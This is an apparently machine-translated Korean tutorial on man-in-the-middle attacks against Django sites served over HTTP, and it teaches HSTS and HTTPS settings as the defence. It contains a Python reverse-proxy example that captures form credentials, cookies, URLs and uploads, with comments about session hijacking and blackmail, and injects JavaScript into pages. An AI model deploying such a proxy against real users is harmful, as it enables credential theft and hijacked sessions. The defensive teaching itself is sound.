Django 웹사이트 해킹: 중간자 공격

HTTP를 통해 제공되는 웹사이트는 MITM(Man In The Middle) 공격에 취약합니다. 해커가 브라우저의 요청에 응답하는 서버와 브라우저 사이에 들어갈 수 있습니다. 응답 또는 요청은 악의적인 의도로 수정될 수 있습니다. 순진한 사용자가 악의적인 네트워크에 연결한 후 사람이 중간에 들어갈 수 있습니다. 카페의 Wi-Fi에 가입하거나 이웃의 보호되지 않은 네트워크에 건방진 연결을 한 후: 허니 트랩일 수 있습니다.

Django 보안 도전에 대한 준비가 되셨습니까? 재생 우리 Django security challenge .

구체적으로 이를 달성하는 한 가지 방법은 reverse proxy 을 생성하는 것입니다. 다음은 응답에 자바스크립트를 추가하는 MITM의 예입니다.

import revproxy.views
from bs4 import BeautifulSoup

from django.http import HttpResponse

# after 2 seconds change some content
javascript = BeautifulSoup(
    """<script>
        setTimeout(function() {
            document.querySelectorAll("h1")[0].innerText = "HACKED!" 
        },
     2000
)
</script>""",
'html.parser')

class ProxyView(revproxy.views.ProxyView):

    def dispatch(self, request, *args, **kwargs):
        # user may be logging in, so save the form data so to maybe steal their username and password
        save_form_data(request.GET or request.POST)

        # cookies may contain session cookie, so save it to later maybe do session hijacking
        save_cookies(request.COOKIES)

        # user may be doing something embarrassing, so save the url to maybe blackmail them
        save_url(request.get_full_path())

        # user may be uploading some embarrassing pictures of documents. more blackmail
        save_files(request.FILES)

        response = super().dispatch(request=request, path=request.get_full_path(), *args, **kwargs)

        if 'text/html' in response.get('content-type'):
            # now inject nefarious JavaScript
            soup = BeautifulSoup(response.content, 'html.parser')

            soup.head.append(javascript)
            response = HttpResponse(str(soup))
        return response



결과는 다음과 같습니다.



보호



MITM이 읽고 변경할 수 있는 콘텐츠가 더 이상 일반 텍스트가 아니므로 HTTPS에서만 독점적으로 제공하면 이를 방지할 수 있습니다. Django는 SECURE_SSL_REDIRECT 을 통해 이를 지원하므로 Django는 모든 HTTP 요청을 HTTPS로 리디렉션합니다. 그러나 이것은 불완전한 솔루션입니다.
  • MITM이 "HTTPS로 리디렉션"응답을 가로채서 변경할 수 있습니다.
  • MITM은 HTTP 요청을 HTTPS로 업그레이드할 수 있습니다. 사용자는 MITM에서 종료되는 HTTP 요청을 가지고 있고 MITM은 요청을 HTTPS로 업그레이드합니다. 악의적인 행위자가 데이터를 쉽게 읽을 수 있습니다.

  • HTTP Strict Transport Security protection에 해결책이 있습니다. 브라우저가 웹 사이트에 대한 HTTP 요청을 차단하고 대신 HTTPS를 사용합니다.

    Django는 SECURE_HSTS_SECONDS 설정을 통해 이를 용이하게 합니다. 값을 처음 설정할 때 예상대로 작동하는지 확인하기 위해 3600(1시간)과 같은 작은 값을 사용하는 것이 좋습니다. 브라우저가 HSTS 헤더를 보고 나면 지정된 시간이 될 때까지(즉, 웹사이트에서 HTTPS를 잘못 구성한 경우) 이를 준수하기 때문입니다. 인증서를 수정하는 동안 HTTP로 롤백할 수 없습니다.

    또한 브라우저가 현재 하위 도메인뿐만 아니라 모든 하위 도메인에 대해 HTST를 사용하도록 SECURE_HSTS_INCLUDE_SUBDOMAINS를 설정하는 것이 좋습니다. http://example.com은 지키되 http://www.example.com은 지키지 않는 것은 부끄러운 일입니다.

    따라서 구체적으로 다음 변경 사항은 Man In The Middle 공격으로부터 Django 웹 사이트를 보호하는 데 도움이 됩니다.

    MIDDLEWARE = [
        'django.middleware.security.SecurityMiddleware',
        ...
    ]
    
    SECURE_HSTS_SECONDS = 3600
    SECURE_HSTS_INCLUDE_SUBDOMAINS = True
    

    SECURE_HSTS_ 설정이 django.middleware.security.SecurityMiddleware에 있어야 합니다MIDDLEWARE. 그렇지 않으면 아무 작업도 수행하지 않습니다.

    웹사이트에 보안 취약점이 있습니까?



    시간이 지남에 따라 보안 취약성과 기술 부채가 코드베이스에 쉽게 침투할 수 있습니다. django.doctor에서 확인하거나 review your GitHub PRs에서 확인할 수 있습니다.



    또는 시도해 보십시오Django refactor challenges .

    좋은 웹페이지 즐겨찾기